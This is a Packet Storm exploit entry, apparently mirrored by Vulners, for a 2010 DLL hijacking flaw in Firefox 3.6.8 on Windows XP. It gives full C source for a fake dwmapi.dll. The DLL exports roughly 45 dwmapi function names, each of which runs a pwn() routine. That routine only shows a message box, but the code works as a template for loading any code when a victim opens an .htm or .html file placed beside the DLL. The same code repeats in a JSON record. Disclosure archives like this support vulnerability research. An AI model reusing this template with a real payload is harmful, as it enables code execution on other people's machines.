Search...

Firefox 3.6.8 DLL Hijacking Exploit

2010-08-26T00:00:00

ID PACKETSTORM:93047
Type packetstorm
Reporter Glafkos Charalambous
Modified 2010-08-26T00:00:00

Description

                                        
                                            `/*   
Exploit Title: Firefox &lt;= 3.6.8 DLL Hijacking Exploit [dwmapi.dll]  
Date: August 24, 2010  
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)  
Version: Latest Firefox v3.6.8  
Tested on: Windows XP SP3 En  
Vulnerable extensions: .htm .html .jtx .mfp  
Greetz: Astalavista, OffSEC, Exploit-DB  
*/  
  
  
#include &lt;windows.h&gt;  
#define DllExport __declspec (dllexport)  
  
DllExport void CPAcquireContext() { pwn(); }  
DllExport void DWMAPI_100() { pwn(); }  
DllExport void DWMAPI_101() { pwn(); }  
DllExport void DwmEnableComposition() { pwn(); }  
DllExport void DWMAPI_103() { pwn(); }  
DllExport void DWMAPI_104() { pwn(); }  
DllExport void DWMAPI_105() { pwn(); }  
DllExport void DWMAPI_106() { pwn(); }  
DllExport void DWMAPI_107() { pwn(); }  
DllExport void DWMAPI_108() { pwn(); }  
DllExport void DWMAPI_109() { pwn(); }  
DllExport void DWMAPI_110() { pwn(); }  
DllExport void DWMAPI_111() { pwn(); }  
DllExport void DWMAPI_112() { pwn(); }  
DllExport void DWMAPI_113() { pwn(); }  
DllExport void DWMAPI_115() { pwn(); }  
DllExport void DWMAPI_116() { pwn(); }  
DllExport void DWMAPI_117() { pwn(); }  
DllExport void DWMAPI_118() { pwn(); }  
DllExport void DWMAPI_119() { pwn(); }  
DllExport void DWMAPI_120() { pwn(); }  
DllExport void DwmAttachMilContent() { pwn(); }  
DllExport void DwmDefWindowProc() { pwn(); }  
DllExport void DwmDetachMilContent() { pwn(); }  
DllExport void DwmEnableBlurBehindWindow() { pwn(); }  
DllExport void DwmEnableMMCSS() { pwn(); }  
DllExport void DwmExtendFrameIntoClientArea() { pwn(); }  
DllExport void DwmFlush() { pwn(); }  
DllExport void DwmGetColorizationColor() { pwn(); }  
DllExport void DwmGetCompositionTimingInfo() { pwn(); }  
DllExport void DwmGetGraphicsStreamClient() { pwn(); }  
DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }  
DllExport void DwmGetTransportAttributes() { pwn(); }  
DllExport void DwmGetWindowAttribute() { pwn(); }  
DllExport void DwmIsCompositionEnabled() { pwn(); }  
DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }  
DllExport void DwmQueryThumbnailSourceSize() { pwn(); }  
DllExport void DwmRegisterThumbnail() { pwn(); }  
DllExport void DwmSetDxFrameDuration() { pwn(); }  
DllExport void DwmSetPresentParameters() { pwn(); }  
DllExport void DwmSetWindowAttribute() { pwn(); }  
DllExport void DwmUnregisterThumbnail() { pwn(); }  
DllExport void DwmUpdateThumbnailProperties() { pwn(); }  
  
int pwn()  
{  
MessageBox(0, "Firefox DLL Hijacking!", "DLL Message", MB_OK);  
return 0;  
}  
  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:93047", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Firefox 3.6.8 DLL Hijacking Exploit", "description": "", "published": "2010-08-26T00:00:00", "modified": "2010-08-26T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/93047/Firefox-3.6.8-DLL-Hijacking-Exploit.html", "reporter": "Glafkos Charalambous", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:19:37", "viewCount": 8, "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.4}, "sourceHref": "https://packetstormsecurity.com/files/download/93047/firefox368-dllhijack.txt", "sourceData": "`/* \nExploit Title: Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll] \nDate: August 24, 2010 \nAuthor: Glafkos Charalambous (glafkos[@]astalavista[dot]com) \nVersion: Latest Firefox v3.6.8 \nTested on: Windows XP SP3 En \nVulnerable extensions: .htm .html .jtx .mfp \nGreetz: Astalavista, OffSEC, Exploit-DB \n*/ \n \n \n#include <windows.h> \n#define DllExport __declspec (dllexport) \n \nDllExport void CPAcquireContext() { pwn(); } \nDllExport void DWMAPI_100() { pwn(); } \nDllExport void DWMAPI_101() { pwn(); } \nDllExport void DwmEnableComposition() { pwn(); } \nDllExport void DWMAPI_103() { pwn(); } \nDllExport void DWMAPI_104() { pwn(); } \nDllExport void DWMAPI_105() { pwn(); } \nDllExport void DWMAPI_106() { pwn(); } \nDllExport void DWMAPI_107() { pwn(); } \nDllExport void DWMAPI_108() { pwn(); } \nDllExport void DWMAPI_109() { pwn(); } \nDllExport void DWMAPI_110() { pwn(); } \nDllExport void DWMAPI_111() { pwn(); } \nDllExport void DWMAPI_112() { pwn(); } \nDllExport void DWMAPI_113() { pwn(); } \nDllExport void DWMAPI_115() { pwn(); } \nDllExport void DWMAPI_116() { pwn(); } \nDllExport void DWMAPI_117() { pwn(); } \nDllExport void DWMAPI_118() { pwn(); } \nDllExport void DWMAPI_119() { pwn(); } \nDllExport void DWMAPI_120() { pwn(); } \nDllExport void DwmAttachMilContent() { pwn(); } \nDllExport void DwmDefWindowProc() { pwn(); } \nDllExport void DwmDetachMilContent() { pwn(); } \nDllExport void DwmEnableBlurBehindWindow() { pwn(); } \nDllExport void DwmEnableMMCSS() { pwn(); } \nDllExport void DwmExtendFrameIntoClientArea() { pwn(); } \nDllExport void DwmFlush() { pwn(); } \nDllExport void DwmGetColorizationColor() { pwn(); } \nDllExport void DwmGetCompositionTimingInfo() { pwn(); } \nDllExport void DwmGetGraphicsStreamClient() { pwn(); } \nDllExport void DwmGetGraphicsStreamTransformHint() { pwn(); } \nDllExport void DwmGetTransportAttributes() { pwn(); } \nDllExport void DwmGetWindowAttribute() { pwn(); } \nDllExport void DwmIsCompositionEnabled() { pwn(); } \nDllExport void DwmModifyPreviousDxFrameDuration() { pwn(); } \nDllExport void DwmQueryThumbnailSourceSize() { pwn(); } \nDllExport void DwmRegisterThumbnail() { pwn(); } \nDllExport void DwmSetDxFrameDuration() { pwn(); } \nDllExport void DwmSetPresentParameters() { pwn(); } \nDllExport void DwmSetWindowAttribute() { pwn(); } \nDllExport void DwmUnregisterThumbnail() { pwn(); } \nDllExport void DwmUpdateThumbnailProperties() { pwn(); } \n \nint pwn() \n{ \nMessageBox(0, \"Firefox DLL Hijacking!\", \"DLL Message\", MB_OK); \nreturn 0; \n} \n \n \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645305796}}